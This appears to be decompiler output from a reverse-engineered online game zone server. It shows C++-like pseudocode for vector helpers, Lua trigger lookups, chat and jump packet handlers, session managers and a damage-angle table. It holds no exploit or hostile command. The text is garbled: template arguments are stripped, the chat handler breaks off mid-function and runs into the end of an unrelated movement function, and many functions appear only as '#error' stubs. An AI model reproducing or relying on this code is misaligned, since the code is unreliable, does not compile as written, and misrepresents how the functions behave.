*)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#593 **)(v20 - v23); v4->_Mylast = (LuaFuncTrigger::TriggerChat **)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#593 ***)&v21, v25, (#593 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#593 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (LuaFuncTrigger::TriggerChat **)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#593 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (LuaFuncTrigger::TriggerChat **)((char *)_Newvec + _Counta); v4->_Mylast = (LuaFuncTrigger::TriggerChat **)((char *)_Newvec + 4 * v19); v4->_Myfirst = (LuaFuncTrigger::TriggerChat **)_Newvec; } } } //----- (0044D9E0) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 SHINE_XY_TYPE *v3; // ecx@3 int v4; // ebx@3 int v5; // eax@4 void *v6; // eax@7 void *v7; // edi@7 std::vector >::iterator v8; // ST04_4@7 std::vector >::iterator v9; // ST00_4@7 SHINE_XY_TYPE *v10; // eax@7 int v11; // [sp+0h] [bp-20h]@1 void *_Ptr; // [sp+Ch] [bp-14h]@7 int *v13; // [sp+10h] [bp-10h]@1 int v14; // [sp+1Ch] [bp-4h]@7 unsigned int _Counta; // [sp+28h] [bp+8h]@7 v13 = &v11; v2 = this; if ( _Count > 0x1FFFFFFF ) std::vector>::_Xlen(this); v3 = this->_Myfirst; v4 = 0; if ( v3 ) v5 = v2->_Myend - v3; else v5 = 0; if ( v5 < _Count ) { _Counta = 8 * _Count; v6 = operator new(_Counta); v7 = v6; v8 = (std::vector >::iterator)v2->_Mylast; v9 = (std::vector >::iterator)v2->_Myfirst; _Ptr = v6; v14 = 0; std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v9, v8, (SHINE_XY_TYPE *)v6, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Counta); v10 = v2->_Myfirst; if ( v10 ) v4 = v2->_Mylast - v10; if ( v10 ) operator delete(v2->_Myfirst); v2->_Myend = (SHINE_XY_TYPE *)((char *)v7 + _Counta); v2->_Mylast = (SHINE_XY_TYPE *)((char *)v7 + 8 * v4); v2->_Myfirst = (SHINE_XY_TYPE *)v7; } } //----- (0044DA9A) -------------------------------------------------------- void __usercall _L185751(int a1) { operator delete(*(void **)(a1 - 20)); _CxxThrowException(0, 0); } //----- (0044DAB0) -------------------------------------------------------- int __thiscall LuaFuncTrigger::FuncTrigger::ft_Find(LuaFuncTrigger::FuncTrigger *this, #593 *ply, std::vector > *vect) { std::vector > *v3; // esi@1 LuaFuncTrigger::FuncTrigger *v4; // ebx@1 std::vector > *i; // edi@3 LuaFuncTrigger::TriggerJump **v6; // edx@5 int v7; // ecx@6 LuaFuncTrigger::TriggerJump **v8; // eax@10 LuaFuncTrigger::TriggerJump **v9; // ecx@13 int result; // eax@14 v3 = vect; v4 = this; if ( vect->_Myfirst ) operator delete(vect->_Myfirst); v3->_Myfirst = 0; v3->_Mylast = 0; v3->_Myend = 0; for ( i = (std::vector > *)v4->baseclass_0._Myfirst; (LuaFuncTrigger::TriggerJump *)i != v4->baseclass_0._Mylast; i = (std::vector > *)((char *)i + 72) ) { if ( LuaFuncTrigger::TriggerElement::te_TriggerEvent((LuaFuncTrigger::TriggerElement *)i, ply) ) { v6 = v3->_Myfirst; vect = i; if ( v6 ) v7 = v3->_Mylast - v6; else v7 = 0; if ( v6 && v7 < v3->_Myend - v6 ) { v8 = v3->_Mylast; *v8 = (LuaFuncTrigger::TriggerJump *)i; v3->_Mylast = v8 + 1; } else { std::vector>::_Insert_n( (std::vector > *)v3, (std::vector >::iterator)v3->_Mylast, 1u, (LuaFuncTrigger::TriggerChat *const *)&vect); } } } v9 = v3->_Myfirst; if ( v9 ) result = v3->_Mylast - v9; else result = 0; return result; } //----- (0044DB70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_JUMP_CMD(void *ply, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // eax@5 int v6; // ST04_4@5 int v7; // eax@5 void *v8; // ebp@5 void *i; // edi@5 int v10; // ecx@9 char *v11; // [sp-4h] [bp-40h]@4 AxialListPacketBroadcast alchat; // [sp+14h] [bp-28h]@5 char vect; // [sp+20h] [bp-1Ch]@5 void *p; // [sp+24h] [bp-18h]@5 void *v15; // [sp+28h] [bp-14h]@5 int v16; // [sp+2Ch] [bp-10h]@5 int v17; // [sp+38h] [bp-4h]@1 v4 = ply; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_JUMP_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_JUMP_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; if ( !(_S5_42 & 1) ) { _S5_42 |= 1u; cmc_35.cmc_AllowMode = 70; atexit(_E6_23); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_35.cmc_AllowMode ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2256))(v4); v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8229; *((_WORD *)v5 + 1) = handle; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v6 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v17) = 1; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v7, v6, 0, 0, (int)&alchat, 0, 65535); p = 0; v15 = 0; v16 = 0; LOBYTE(v17) = 2; LuaFuncTrigger::FuncTrigger::ft_Find( &LuaFuncTrigger::g_FuncTrigger_Jump, (#593 *)v4, (std::vector > *)&vect); v8 = p; for ( i = p; i != v15; i = (char *)i + 4 ) { if ( *(_DWORD *)i ) LuaFuncTrigger::TriggerJump::tj_PullTheTrigger(*(LuaFuncTrigger::TriggerJump **)i, (#734 *)v4); } v10 = *((_DWORD *)v4 + 8040) + 80; *(_WORD *)v10 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v10 + 2) = byte_130BDA42; if ( v8 ) operator delete(v8); LOBYTE(v17) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v17 = -1; v11 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_JUMP_CMD"; } else { v17 = -1; v11 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_JUMP_CMD"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v11); } // 130BDA40: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 130BDA42: using guessed type char byte_130BDA42; //----- (0044DD20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ(void *this, int netcmd, int len, signed int handle) { int v4; // esi@1 size_t v5; // edi@16 int v6; // ebp@18 LuaFuncTrigger::TriggerChat **i; // edi@18 signed int v8; // [sp-10h] [bp-144h]@13 char *v9; // [sp-4h] [bp-138h]@6 FunctionEntarance _; // [sp+10h] [bp-124h]@1 char vect; // [sp+14h] [bp-120h]@15 LuaFuncTrigger::TriggerChat **v12; // [sp+18h] [bp-11Ch]@15 int v13; // [sp+1Ch] [bp-118h]@15 int v14; // [sp+20h] [bp-114h]@15 char chatcontent[256]; // [sp+24h] [bp-110h]@18 unsigned int v16; // [sp+124h] [bp-10h]@1 int v17; // [sp+130h] [bp-4h]@1 v4 = (int)this; v16 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; if ( !(_S29_4 & 1) ) { _S29_4 |= 1u; cmc_36.cmc_AllowMode = 126; atexit(_E30_4); } if ( !((1 << **(_BYTE **)(v4 + 3568)) & cmc_36.cmc_AllowMode) ) goto LABEL_6; if ( !*(_DWORD *)(v4 + 98) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ : Invalid map", 0); LABEL_6: v17 = -1; v9 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ"; LABEL_24: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); goto LABEL_25; } if ( ShineObjectClass::ShinePlayer::sp_AmpersandCommand((void *)v4, handle, netcmd + 2) || !*(_BYTE *)(*(_DWORD *)(*(_DWORD *)(v4 + 98) + 12) + 153) ) { v17 = -1; LABEL_23: v9 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ"; goto LABEL_24; } if ( !ShineObjectClass::ShinePlayer::sp_SpamCheck((void *)v4) ) { if ( ShineObjectClass::ShinePlayer::sp_IsSpameChatBan(v4) ) v8 = handle; else v8 = 65535; (*(void (__thiscall **)(int, signed int, int, _DWORD, signed int))(*(_DWORD *)v4 + 1324))( v4, v8, netcmd + 3, *(_BYTE *)(netcmd + 2), 1); CCharacterTitleZone::CT_Chatting((CCharacterTitleZone *)(v4 + 140400)); v12 = 0; v13 = 0; v14 = 0; LOBYTE(v17) = 1; if ( LuaFuncTrigger::FuncTrigger::ft_Find( &LuaFuncTrigger::g_FuncTrigger_Chat, (#593 *)v4, (std::vector > *)&vect) > 0 ) { v5 = *(_BYTE *)(netcmd + 2); if ( (unsigned __int8)v5 >= 0xFFu ) v5 = 255; strncpy(chatcontent, (const char *)(netcmd + 3), v5); v6 = v13; chatcontent[v5] = 0; for ( i = v12; i != (LuaFuncTrigger::TriggerChat **)v6; ++i ) { if ( *i ) LuaFuncTrigger::TriggerChat::tc_PullTheTrigger(*i, (#734 *)v4, chatcontent); } } std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::reserve(&path.baseclass_0, 0x20u); atexit(_E34_1); LOBYTE(v33) = 0; } v3 = *(_DWORD *)(v2 + 78); v4 = *(_DWORD *)v3; v5 = *(_DWORD *)(v3 + 4); v6 = *(_DWORD *)(a2 + 78); v28 = *(_DWORD *)v6; v29 = *(_DWORD *)(v6 + 4); LOBYTE(v6) = **(_BYTE **)(a2 + 82); v31 = v4; v7 = *(_DWORD *)(a2 + 98); v30 = v6; v32 = v5; rmt = v7; RadianMoveTrack::rmt_Calculate((RadianMoveTrack *)&rmt, &path); if ( path.baseclass_0._Myfirst ) { v8 = path.baseclass_0._Mylast - path.baseclass_0._Myfirst; if ( (signed int)v8 > 0 ) { v9 = path.baseclass_0._Myfirst[v8 - 1].x; v10 = *((_DWORD *)&path.baseclass_0._Myfirst[v8] - 1); (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 2644))(v2); (*(void (__thiscall **)(int, signed int, _DWORD, signed int))(*(_DWORD *)v2 + 828))(v2, 2, 0, 3); v11 = *(_DWORD *)(v2 + 78); *(_DWORD *)v11 = v9; *(_DWORD *)(v11 + 4) = v10; if ( FieldMap::fm_Marking(*(#593 **)(v2 + 98), v2, 0, 0) ) { (*(void (__thiscall **)(int, signed int, _DWORD, _DWORD))(*(_DWORD *)v2 + 1520))(v2, 1669, 0, 0); } else { **(_BYTE **)(v2 + 82) = DirectDistanceTable::ddt_DirectSR( &ddt, **(_DWORD **)(a2 + 78) - **(_DWORD **)(v2 + 78), *(_DWORD *)(*(_DWORD *)(a2 + 78) + 4) - *(_DWORD *)(*(_DWORD *)(v2 + 78) + 4)); v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8298; *((_WORD *)v12 + 1) = *(_WORD *)(v2 + 4); *((_WORD *)v12 + 2) = 500; v12[6] = **(_BYTE **)(v2 + 82); v12[7] = v8; v13 = path.baseclass_0._Myfirst; v14 = path.baseclass_0._Mylast; for ( i = (int)(v12 + 8); v13 != v14; i += 8 ) { *(_DWORD *)i = v13->x; *(_DWORD *)(i + 4) = v13->y; ++v13; } v16 = 0; v34 = 0; if ( (signed int)v8 > 1 ) { v17 = (int)(v12 + 12); v18 = v8 - 1; do { v19 = DirectDistanceTable::ddt_Distance( &ddt, *(_DWORD *)(v17 - 4) - *(_DWORD *)(v17 + 4), *(_DWORD *)v17 - *(_DWORD *)(v17 + 8)); v17 += 8; --v18; v34 += v19; } while ( v18 ); v16 = 0; } v20 = 1000 * v34 / *((_WORD *)v12 + 2); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8 * (unsigned __int8)v12[7] + 8); v21 = *(_DWORD *)(v2 + 78); LOBYTE(v33) = 3; v22 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v2, v22, v21, (char *)v16, v16, (int)&alchat, 1, 65535); v23 = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, STA_CANNOTCONTROL); if ( v23 != (AbnormalStateDictionary::AbState::AbStateStr *)v16 ) { (*(void (__thiscall **)(int, int, signed int, signed int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, int, signed int, int, signed int))(*(_DWORD *)v2 + 1584))( v2, v2, 60, 1, v23, clockwatch.cw_CurrTick, v16, -1, v20, 9); (*(void (__thiscall **)(int, signed int, int, signed int))(*(_DWORD *)v2 + 1004))(v2, 60, v20, 1); } if ( *(_DWORD *)(v2 + 236) != 3 ) { v24 = *(_DWORD *)(v2 + 232); *(_DWORD *)(v2 + 236) = v16; *(_DWORD *)(v2 + 260) = v16; *(_DWORD *)(v2 + 264) = v16; *(_DWORD *)(v2 + 268) = v16; *(_DWORD *)(v2 + 272) = v16; *(_DWORD *)(v2 + 276) = v16; *(_DWORD *)(v2 + 240) = v16; v25 = *(_DWORD *)(v24 + 78); *(_DWORD *)(v2 + 252) = *(_DWORD *)v25; *(_DWORD *)(v2 + 256) = *(_DWORD *)(v25 + 4); } LOBYTE(v33) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } } --funcallanalizer.fca_stackpoint; v33 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ShadowStep"); } //----- (0044E290) -------------------------------------------------------- void __thiscall ClientSession::ClientSession(ClientSession *this) { ClientSession *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0); v1->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&ClientSession::_vftable_; } // 63EA50: using guessed type int (__stdcall *ClientSession___vftable_)(int interval); //----- (0044E2B0) -------------------------------------------------------- void __thiscall ClientSessionNull::ClientSessionNull(ClientSessionNull *this) { ClientSessionNull *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0.baseclass_0); v1->baseclass_0.baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&ClientSessionNull::_vftable_; } // 63EA60: using guessed type int (__stdcall *ClientSessionNull___vftable_)(int interval); //----- (0044E2D0) -------------------------------------------------------- void __thiscall ClientSession::_ClientSession(ClientSessionNull *this) { this->baseclass_0.baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&ClientSession::_vftable_; ZoneBaseSession::_ZoneBaseSession(&this->baseclass_0.baseclass_0); } // 63EA50: using guessed type int (__stdcall *ClientSession___vftable_)(int interval); //----- (0044E2E0) -------------------------------------------------------- void __thiscall ClientSessionManager::ClientSessionManager(ClientSessionManager *this) { ClientSessionManager *v1; // esi@1 v1 = this; ZoneBaseSessionManager::ZoneBaseSessionManager(&this->baseclass_0); v1->baseclass_0.vfptr = (ZoneBaseSessionManagerVtbl *)&ClientSessionManager::_vftable_; } // 679A60: using guessed type int (__thiscall *ClientSessionManager___vftable_)(ZoneBaseSessionManager *this, int SocketAccept, int pAddr); //----- (0044E300) -------------------------------------------------------- void __thiscall ClientSessionManager::_ClientSessionManager(ClientSessionManager *this) { this->baseclass_0.vfptr = (ZoneBaseSessionManagerVtbl *)&ClientSessionManager::_vftable_; ZoneBaseSessionManager::_ZoneBaseSessionManager(&this->baseclass_0); } // 679A60: using guessed type int (__thiscall *ClientSessionManager___vftable_)(ZoneBaseSessionManager *this, int SocketAccept, int pAddr); //----- (0044E310) -------------------------------------------------------- int __thiscall ClientSession::CheckHeartBeat(ClientSession *this, int interval) { return ZoneBaseSession::CheckHeartBeat(&this->baseclass_0, 300); } //----- (0044E320) -------------------------------------------------------- char __thiscall ClientSession::Send_NC_MISC_SEED_ACK(ClientSession *this, int seed) { char buffer; // [sp+0h] [bp-44h]@1 int v4; // [sp+1h] [bp-43h]@1 unsigned int v5; // [sp+40h] [bp-4h]@1 v5 = (unsigned int)&buffer ^ __security_cookie; LOWORD(v4) = v4 & 0x3FF | 0x800; LOWORD(v4) = v4 & 0xFC07 | 7; buffer = 4; HIWORD(v4) = seed; return ZoneBaseSession::Send(&this->baseclass_0, &buffer, 5); } //----- (0044E380) -------------------------------------------------------- char __thiscall ZoneListenSession::zls_TravelComplete(ZoneListenSession *this, ZONERINGLINKAGESTART *startblock) { return startblock->machine >= 0xAu || startblock->machine == ZoneServer::zs_worlddata(&zoneserver)->nZoneNo; } //----- (0044E3B0) -------------------------------------------------------- #error "44E3B0: undefined or illegal type '#593' (funcsize=24)" //----- (0044E3F0) -------------------------------------------------------- void __thiscall ZoneListenSession::ZoneListenSession(ZoneListenSession *this) { ZoneListenSession *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0); v1->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&ZoneListenSession::_vftable_; } // 63EA70: using guessed type int (__stdcall *ZoneListenSession___vftable_)(int interval); //----- (0044E410) -------------------------------------------------------- void __thiscall ZoneListenSession::_ZoneListenSession(ZoneListenSession *this) { this->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&ZoneListenSession::_vftable_; ZoneBaseSession::_ZoneBaseSession(&this->baseclass_0); } // 63EA70: using guessed type int (__stdcall *ZoneListenSession___vftable_)(int interval); //----- (0044E420) -------------------------------------------------------- ZoneListenSession *__thiscall OPToolSession::opts_ActivSession(ZoneListenSession *this, unsigned int SocketAccept, sockaddr *pAddr) { ZoneListenSession *v3; // esi@1 v3 = this; this->baseclass_0.m_Packet.vfptr->Clear(&this->baseclass_0.m_Packet); v3->baseclass_0.m_SocketIOCP.m_Socket = SocketAccept; *(_DWORD *)&v3->baseclass_0.m_SocketIOCP.m_SocketAddr.sa_family = *(_DWORD *)&pAddr->sa_family; *(_DWORD *)&v3->baseclass_0.m_SocketIOCP.m_SocketAddr.sa_data[2] = *(_DWORD *)&pAddr->sa_data[2]; *(_DWORD *)&v3->baseclass_0.m_SocketIOCP.m_SocketAddr.sa_data[6] = *(_DWORD *)&pAddr->sa_data[6]; *(_DWORD *)&v3->baseclass_0.m_SocketIOCP.m_SocketAddr.sa_data[10] = *(_DWORD *)&pAddr->sa_data[10]; v3->baseclass_0.m_Status = 2; return v3; } //----- (0044E470) -------------------------------------------------------- int __thiscall PROTO_NC_CHAR_PLAYERSUMMON_RNG::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_BYTE *)(this + 6) = *(_BYTE *)(a2 + 6); *(_DWORD *)(this + 7) = *(_DWORD *)(a2 + 7); *(_DWORD *)(this + 11) = *(_DWORD *)(a2 + 11); *(_DWORD *)(this + 15) = *(_DWORD *)(a2 + 15); *(_DWORD *)(this + 19) = *(_DWORD *)(a2 + 19); *(_DWORD *)(this + 23) = *(_DWORD *)(a2 + 23); *(_DWORD *)(this + 27) = *(_DWORD *)(a2 + 27); *(_DWORD *)(this + 31) = *(_DWORD *)(a2 + 31); *(_DWORD *)(this + 35) = *(_DWORD *)(a2 + 35); *(_DWORD *)(this + 39) = *(_DWORD *)(a2 + 39); return result; } //----- (0044E4D0) -------------------------------------------------------- int __thiscall PROTO_NC_CHAR_PLAYERFOUND_BY_NORMAL_USER_RNG::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_BYTE *)(this + 6) = *(_BYTE *)(a2 + 6); *(_DWORD *)(this + 7) = *(_DWORD *)(a2 + 7); *(_DWORD *)(this + 11) = *(_DWORD *)(a2 + 11); *(_DWORD *)(this + 15) = *(_DWORD *)(a2 + 15); *(_DWORD *)(this + 19) = *(_DWORD *)(a2 + 19); *(_DWORD *)(this + 23) = *(_DWORD *)(a2 + 23); *(_DWORD *)(this + 27) = *(_DWORD *)(a2 + 27); *(_DWORD *)(this + 31) = *(_DWORD *)(a2 + 31); *(_DWORD *)(this + 35) = *(_DWORD *)(a2 + 35); *(_DWORD *)(this + 39) = *(_DWORD *)(a2 + 39); *(_BYTE *)(this + 43) = *(_BYTE *)(a2 + 43); return result; } //----- (0044E530) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_DummyFunction(ZoneListenSession *this, NETCOMMAND *netcmd) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ZoneListenSession::zls_DummyFunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_DummyFunction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AssertClass::ac_AssertFail( &shineassert, "ZoneListenSession::zls_DummyFunction", (unsigned int)netcmd->protocol >> 10, netcmd->protocol & 0x3FF); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneListenSession::zls_DummyFunction"); } //----- (0044E5E0) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_MISC_HEARTBEAT_REQ(ZoneListenSession *this, NETCOMMAND *netcmd) { ZoneBaseSession *v2; // esi@1 v2 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_MISC_HEARTBEAT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_MISC_HEARTBEAT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = 2053; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2) ) ProtocolPacket::pp_SendPacket(&gpp, v2); else AssertClass::ac_AssertFail(&shineassert, "ZoneListenSession::zls_NC_MISC_HEARTBEAT_REQ : Packet Too Long", 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneListenSession::zls_NC_MISC_HEARTBEAT_REQ"); } //----- (0044E6B0) -------------------------------------------------------- #error "44E6B0: undefined or illegal type '#593' (funcsize=167)" //----- (0044E8E0) -------------------------------------------------------- #error "44E8E0: undefined or illegal type '#593' (funcsize=99)" //----- (0044EA40) -------------------------------------------------------- #error "44EA40: undefined or illegal type '#593' (funcsize=141)" //----- (0044EC20) -------------------------------------------------------- #error "44EC20: undefined or illegal type '#593' (funcsize=102)" //----- (0044ED90) -------------------------------------------------------- #error "44ED90: undefined or illegal type '#593' (funcsize=120)" //----- (0044EF40) -------------------------------------------------------- #error "44EF40: undefined or illegal type '#593' (funcsize=83)" //----- (0044F080) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_MAP_EXPBONUS_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_MAP_EXPBONUS_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_MAP_EXPBONUS_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( LOBYTE(netcmd[1].protocol) < 0xAu && LOBYTE(netcmd[1].protocol) != ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) ZoneRingPacketExpBonus::zrpb_Request(&zonringpack_expbonus, 0, netcmd); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneListenSession::zls_NC_MAP_EXPBONUS_RNG"); } //----- (0044F140) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_MAP_ITEMBONUS_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_MAP_ITEMBONUS_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_MAP_ITEMBONUS_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( LOBYTE(netcmd[1].protocol) < 0xAu && LOBYTE(netcmd[1].protocol) != ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) ZoneRingPacketItemBonus::zrpb_Request(&zonringpack_itembonus, 0, netcmd); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneListenSession::zls_NC_MAP_ITEMBONUS_RNG"); } //----- (0044F200) -------------------------------------------------------- #error "44F200: undefined or illegal type '#593' (funcsize=146)" //----- (0044F3F0) -------------------------------------------------------- #error "44F3F0: undefined or illegal type '#593' (funcsize=102)" //----- (0044F560) -------------------------------------------------------- int __thiscall ClientSessionManager::InitSessions(ClientSessionManager *this, int MaxSessions) { ClientSessionManager *v2; // esi@1 void *v3; // edi@1 ZoneBaseSession *v4; // ecx@2 void *v5; // eax@4 int v6; // ebx@5 int v7; // eax@7 int v8; // ecx@8 int v9; // edx@8 v2 = this; ZoneBaseSessionManager::FreeSessions(&this->baseclass_0); v3 = v2->csm_sock2client; if ( v3 ) { v4 = (ZoneBaseSession *)v2->csm_sock2client; *(_DWORD *)v3 = &ClientSession::_vftable_; ZoneBaseSession::_ZoneBaseSession(v4); operator delete(v3); v2->csm_sock2client = 0; } if ( MaxSessions >= 1 ) { ZoneBaseSessionManager::InitSessions(&v2->baseclass_0, MaxSessions); v5 = operator new__(260 * MaxSessions + 4); if ( v5 ) { v6 = (int)((char *)v5 + 4); *(_DWORD *)v5 = MaxSessions; _eh_vector_constructor_iterator_( (char *)v5 + 4, 0x104u, MaxSessions, (void (__thiscall *)(void *))ClientSession::ClientSession, (void (__thiscall *)(void *))ClientSession::_ClientSession); } else { v6 = 0; } v7 = 0; v2->csm_sock2client = (ClientSession *)v6; if ( MaxSessions > 0 ) { v8 = 0; v9 = 0; do { v2->baseclass_0.m_pSessionListArray[v9].pSession = (ZoneBaseSession *)&v2->csm_sock2client[v8]; v2->csm_sock2client[v8].cs_sessionhandle = v7++; ++v9; ++v8; } while ( v7 < MaxSessions ); } } return 1; } // 63EA50: using guessed type int (__stdcall *ClientSession___vftable_)(int interval); //----- (0044F640) -------------------------------------------------------- unsigned __int16 __thiscall DamageByAngle::DamageTable::operator__(DamageByAngle::DamageTable *this, int delta) { int v2; // edi@1 unsigned __int16 result; // ax@8 v2 = delta; if ( delta < 0 ) v2 = -delta; if ( v2 > 90 ) v2 += -180 - 180 * (v2 - 91) / 0xB4u; if ( (v2 >= 0 || (v2 = -v2, v2 >= 0)) && v2 <= 90 ) { result = this->dt_DamageRate[v2]; } else { 